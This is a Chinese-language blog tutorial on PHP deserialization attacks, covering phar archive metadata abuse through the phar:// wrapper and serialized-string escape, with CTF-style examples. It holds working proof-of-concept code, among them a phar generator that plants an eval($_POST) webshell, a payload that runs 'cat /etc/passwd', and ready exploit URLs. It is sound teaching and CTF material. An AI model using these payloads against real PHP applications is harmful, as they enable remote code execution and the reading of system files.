Phar存档最有特色的特点是它是将多个文件分组为一个文件的便捷方法。这样,phar存档提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行它的方法,而无需将其提取到磁盘中,此外PHP可以像在命令行上和从web服务器上的任何其他文件一样轻松地执行phar存档。Phar有点像PHP应用程序的拇指驱动器

Phar文件缺省状态是只读的,使用Phar文件不需要任何的配置。部署非常方便。因为我们现在需要创建一个自己的Phar文件,所以需要允许写入Phar文件,这需要修改一下php.ini,在php.ini文件末尾添加下面这段即可

[phar]
phar.readonly = 0

Phar文件结构

在这里插入图片描述

  1. a stub

存根,也可以理解为Phar文件的标识,要求phar文件必须以__HALT_COMPILER();?>结尾,否则无法被phar扩展识别为phar文件

  1. a mainifest describing the contents

前面提到过,phar是一种压缩打包的文件格式,这部分用来存储压缩文件的权限、属性等信息,并且以序列化格式存储用户自定义的meta-data,这里也是反序列化攻击利用的核心
在这里插入图片描述

  1. the file contents

这部分是压缩的文件具体内容

  1. [optional] a signature for verifying Phar integrity (phar file format only)

在这里插入图片描述
phar文件格式签名,放在文件末尾

Phar如何扩展攻击面进行漏洞利用的

phar在压缩文件包时,会以序列化的形式存储用户自定义的meta-data,配合phar://就能一些函数等参数可控的情况下实现自动反序列化操作,于是攻击者就可以精心构造phar包在没有unserialize()的情况下实现自动反序列化攻击,从而很大的拓展了反序列化漏洞的攻击面

受影响函数列表
fileatimefilectimefile_existsfile_get_contents
file_put_contentsfilefilegroupfopen
fileinodefilemtimefileownerfikeperms
is_diris_executableis_fileis_link
is_readableis_writableis_writeableparse_ini_file
copyunlinkstatreadfile

先看一个小小的Demo,如何创建一个合法的phar压缩文件

<?php 
class TestObject{
}

@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); ?>");//设置stub
$o=new TestObject();
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt","m0c1nu7 is the best");//添加要压缩的文件及文件内容
//签名自动计算

$phar->stopBuffering();
 ?>

在这里插入图片描述
接下来构造利用脚本,php通过用户定义和内置的流包装器实现复杂的文件处理功能。内置包装器可用于文件系统函数,如fopen()file_get_contents()copy()file_exists()filesize()phar://就是一种内置的流包装器

php常见流包装器:

file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
<?php 
class TestObject{
	public function __destruct(){
		echo "Nice! Destruct Called";
	}
}
$filename = 'phar://test.phar/test.txt';
file_get_contents($filename);
 ?>

在这里插入图片描述
再将上面的题目稍微修改修改

<?php 
if(isset($_GET['filename'])){
        $filename=$_GET['filename'];
        class MyClass{
                var $output="echo 'Try again';";
                function __destruct(){
                        eval($this->output);
                }
        }
        file_exists($filename);
}else{
        highlight_file(__FILE__);
}
 ?>

这题不用phar反序列化根本做不了,构造脚本

<?php 
class MyClass{
        var $output = 'eval($_POST[7]);';
}

$o = new MyClass();
$filename = 'poc.phar';
file_exists($filename)?unlink($filename) : null;
$phar = new Phar($filename);
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString('test.txt','m0c1nu7');
$phar->stopBuffering();
 ?>

在这里插入图片描述

顺手看到的一道简单的phar反序列化例题,放到这里来做个简单的例子方便理解

<?php
highlight_file(__FILE__);
class A { 
  protected $b = false; 
  protected $a = 'whoami'; 
  public function __destruct () { 
    if ($this->b) {
      system($this->a);
    }
  }
}
$hello = base64_encode('hello');
if (isset($_GET['hello'])) exit;
parse_str($_REQUEST['world']);
if (!$a) {
  header('Location: ?world=a=hello.txt');
}
$s = base64_decode($hello);
file_put_contents('hello.txt', $s);
echo base64_encode(file_get_contents($a));
?>
  • 反序列化控制$this->b$this->a
  • parse_str()未设置存储变量的数组,可造成变量覆盖即可控制$a$hello
  • file_get_contents($a)可触发phar包中的meta-data自动反序列化

poc

<?php
class A {
    protected $b = true;
    protected $a = 'cat /etc/passwd';
    public function __destruct () {
        if ($this->b) {
            system($this->a);
        }
    }
}
$o = new A();
$filename = 'poc.phar';
file_exists($filename)?unlink($filename) : null;
$phar = new Phar($filename);
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString('test.txt','mochu7');
$phar->stopBuffering();

echo urlencode(urlencode(base64_encode(file_get_contents("poc.phar"))));
 ?>
/?world=a=phar://./hello.txt%26hello=X19IQUxUX0NPTVBJTEVSKCk7ID8%252BDQpzAAAAAQAAABEAAAABAAAAAAA9AAAATzoxOiJBIjoyOntzOjQ6IgAqAGIiO2I6MTtzOjQ6IgAqAGEiO3M6MTU6ImNhdCAvZXRjL3Bhc3N3ZCI7fQgAAAB0ZXN0LnR4dAYAAAB91GdhBgAAAHK3aJu2AQAAAAAAAG1vY2h1N9VfplChrvATVfgv5qmQqA48qAw2AgAAAEdCTUI%253D

在这里插入图片描述

反序列化字符串溢出(字符串逃逸)

反序列化字符串溢出造成的攻击问题一般是因为对序列化之后的字符串进行了字符替换或者过滤等造成前后字符长度有差异;攻击者可以通过可控的属性传入payload造成对象注入;

  • 对象的属性值可控
  • 对序列化之后的字符串进行替换或者过滤造成前后长度有差异

通过一道例题来简单了解下

<?php
show_source("index.php");
error_reporting(0);
function filter($str){
    return preg_replace( '/abc|zxhh/','', $str);
}
$login['name'] = $_GET['name'];
$login['pwd'] = $_GET['pwd']; 
$login['money'] = '999';
$new = filter(serialize($login));
printf($new."</br>");
$last = unserialize($new);
var_dump($last);
if($last['money']<1000){
    echo "You need more money";
}else{
    echo file_get_contents('flag.php');
}
?>

$login['name']$login['pwd']可控,序列化字符串如果出现abc或者zxhh就被替换为空,题目的意思也很明显,让我们重置$login['money']的值;
在这里插入图片描述

a:3:{s:4:"name";s:6:"mochu7";s:3:"pwd";s:11:"/etc/passwd";s:5:"money";s:3:"999";}

首先我们需要明确注入的对象为:";s:5:"money";s:4:"1000";}
";是用于闭合上一个属性
在这里插入图片描述
如果我们在name的值的位置输入若干个abczxhh,通过控制其数量,我们就可以构造字符串溢出使得name的值为:";s:3:"pwd";s:26:",长度为18;这样的话,后面我们传入的";s:5:"money";s:4:"1000";}即可成功被反序列化

?name=abcabcabcabcabcabc&pwd=";s:5:"money";s:4:"1000";s:1:"a";N;}

在这里插入图片描述
s:1:"a";N;是用来补充被吃掉的属性个数的,吃掉了login["pwd"]属性,就补充一个任意属性,使得3个属性的个数不会错

参考文章:
https://www.k0rz3n.com/2018/11/19/一篇文章带你深入理解PHP反序列化漏洞/
https://xz.aliyun.com/t/3674
https://xz.aliyun.com/t/6640
https://www.neatstudio.com/show-161-1.shtml
https://mp.weixin.qq.com/s/hEWi1qKAcb1-8bGlhmg-1A
https://blog.spoock.com/2016/10/16/php-serialize-problem/
https://www.webhek.com/post/packaging-your-php-apps-with-phar.html
https://paper.seebug.org/680/
https://zh.wikipedia.org/wiki/PHAR_(%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F)
https://www.php.net/manual/en/phar.fileformat.ingredients.php
https://www.php.net/manual/en/phar.fileformat.phar.php
https://www.php.net/manual/en/phar.fileformat.signature.php#:~:text=Phar%20Signature%20format%20%C2%B6,%2C%20SHA1%2C%20SHA256%20and%20SHA512.

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末 初

谢谢老板!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值